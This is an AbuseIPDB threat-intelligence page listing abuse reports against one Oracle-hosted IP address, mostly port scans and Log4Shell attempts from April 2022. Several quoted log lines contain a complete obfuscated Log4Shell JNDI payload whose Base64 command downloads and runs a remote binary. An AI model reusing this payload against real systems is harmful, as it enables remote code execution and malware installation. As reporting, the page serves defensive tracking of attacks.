JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 144.22.198.141

144.22.198.141 was found in our database!

This IP was reported 79 times. Confidence of Abuse is 0%: ?

ISP	Oracle Corporation
Usage Type	Data Center/Web Hosting/Transit
ASN	AS31898
Domain Name	oracle.com
Country	🇧🇷 Brazil
City	Sao Paulo, Sao Paulo

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 144.22.198.141

Whois 144.22.198.141

IP Abuse Reports for 144.22.198.141:

This IP address has been reported a total of 79 times from 45 distinct sources. 144.22.198.141 was first reported on April 4th 2022, and the most recent report was 4 years ago.

Old Reports: The most recent abuse report for this IP address is from 4 years ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 gu-alvareza	2022-04-19 15:10:23 (4 years ago)	Apache.Log4j.Error.Log.Remote.Code.Execution	Web App Attack
🇺🇸 gu-alvareza	2022-04-08 14:16:16 (4 years ago)	Apache.Log4j.Error.Log.Remote.Code.Execution	Web App Attack
🇿🇦 IrisFlower	2022-04-07 13:48:14 (4 years ago)	Unauthorized connection attempt detected from IP address 144.22.198.141 to port 8083 [J]	Port Scan Hacking
🇿🇦 IrisFlower	2022-04-07 12:35:26 (4 years ago)	Unauthorized connection attempt detected from IP address 144.22.198.141 to port 80 [J]	Port Scan Hacking
🇩🇪 jonb	2022-04-07 10:32:01 (4 years ago)	Attempted attack of log4j vulnerability (Log4Shell)	Hacking Web App Attack
🇫🇷 Square Services	2022-04-07 08:49:01 (4 years ago)	144.22.198.141 - - [07/Apr/2022:14:48:58 +0200] "GET / HTTP/1.1" 200 813 "t('${${env:NaN:-j}ndi${env ... show more 144.22.198.141 - - [07/Apr/2022:14:48:58 +0200] "GET / HTTP/1.1" 200 813 "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvcnVubmFibGU7IGN1cmwgLU8gaHR0cDovLzE0MC4yMzguMTgwLjM0L3J1bm5hYmxlOyBjaG1vZCA3NzcgcnVubmFibGU7IC4vcnVubmFibGUgcnVubmVy}')" "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvcnVubmFibGU7IGN1cmwgLU8gaHR0cDovLzE0MC4yMzguMTgwLjM0L3J1bm5hYmxlOyBjaG1vZCA3NzcgcnVubmFibGU7IC4vcnVubmFibGUgcnVubmVy}')" ... show less	Brute-Force
🇫🇷 someone	2022-04-07 08:48:10 (4 years ago)	:80 144.22.198.141 - - [07/Apr/2022:14:48:08 +0200] "GET / HTTP/1.1" 301 432 "t('${${env:NaN:-j}ndi ... show more :80 144.22.198.141 - - [07/Apr/2022:14:48:08 +0200] "GET / HTTP/1.1" 301 432 "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvcnVubmFibGU7IGN1cmwgLU8gaHR0cDovLzE0MC4yMzguMTgwLjM0L3J1bm5hYmxlOyBjaG1vZCA3NzcgcnVubmFibGU7IC4vcnVubmFibGUgcnVubmVy}')" "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvcnVubmFibGU7IGN1cmwgLU8gaHR0cDovLzE0MC4yMzguMTgwLjM0L3J1bm5hYmxlOyBjaG1vZCA3NzcgcnVubmFibGU7IC4vcnVubmFibGUgcnVubmVy}')" show less	Web App Attack
🇩🇪 ut-addicted.com	2022-04-07 08:40:08 (4 years ago)	\[Thu Apr 07 14:40:05.658555 2022\] \[:error\] \[pid 22841:tid 139915404769024\] \[client 144.22.198 ... show more \[Thu Apr 07 14:40:05.658555 2022\] \[:error\] \[pid 22841:tid 139915404769024\] \[client 144.22.198.141:39080\] \[client 144.22.198.141\] ModSecurity: Access denied with code 403 $phase 2$. Operator GE matched 5 at TX:anomaly_score. \[file "/usr/local/apache/modsecurity-owasp-latest/rules/REQUEST-949-BLOCKING-EVALUATION.conf"\] \[line "57"\] \[id "949110"\] \[msg "Inbound Anomaly Score Exceeded $Total Score: 23$"\] \[severity "CRITICAL"\] \[tag "application-multi"\] \[tag "language-multi"\] \[tag "platform-multi"\] \[tag "attack-generic"\] \[hostname "78.46.187.162"\] \[uri "/"\] \[unique_id "Yk7bpTu3nw0GlRZ8ixDAUgAAAIE"\], referer: t$\'$\{$\{env:NaN:-j\}ndi$\{env:NaN:-:\}$\{env:NaN:-l\}dap$\{env:NaN:-:\}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvcnVubmFibGU7IGN1cmwgLU8gaHR0cDovLzE0MC4yMzguMTgwLjM0L3J1bm5hYmxlOyBjaG1vZCA3NzcgcnVubmFibGU7IC4vcnVubmFibGUgcnVubmVy\}\'$ show less	Brute-Force Web App Attack
🇰🇷 snydr	2022-04-07 08:32:59 (4 years ago)	connection attempt port 8080 TCP	Port Scan
🇺🇸 MrRage	2022-04-07 08:30:29 (4 years ago)	Unauthorized Connection On Port 8080 From IP Address 144.22.198.141	Port Scan Hacking
🇿🇦 IrisFlower	2022-04-07 04:34:28 (4 years ago)	Unauthorized connection attempt detected from IP address 144.22.198.141 to port 80 [J]	Port Scan Hacking
🇬🇧 spufidoo	2022-04-07 03:47:17 (4 years ago)	Web attack at 2022-04-07T04:47:17+0100	Web Spam Web App Attack
🇿🇦 IrisFlower	2022-04-07 03:35:15 (4 years ago)	Unauthorized connection attempt detected from IP address 144.22.198.141 to port 80 [J]	Port Scan Hacking
Anonymous	2022-04-07 03:06:00 (4 years ago)	"Server Side Code Injection"	SQL Injection
Anonymous	2022-04-07 03:06:00 (4 years ago)	"Server Side Code Injection"	SQL Injection

Showing 1 to 15 of 79 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇩🇪 193.124.20.237

🇹🇭 159.192.133.140

🇩🇴 152.167.107.133

🇨🇳 121.8.209.94

🇺🇸 91.230.168.127

🇮🇶 65.20.143.45

🇺🇸 47.89.228.114

🇺🇸 45.58.52.25

🇷🇴 2.57.122.150

🇩🇪 2a04:4e40:e000:0:232:cf29:9aa2:d54b

🇩🇪 2a04:4e40:e000:0:fa:f164:34dd:35ba

🇰🇷 211.37.174.180

🇳🇱 104.248.207.84

🇧🇩 103.127.176.34

🇳🇴 84.210.97.183

🇭🇳 45.238.141.14

🇰🇷 211.106.133.202

🇺🇸 198.98.62.211

🇧🇷 179.51.153.37

🇺🇦 176.105.201.235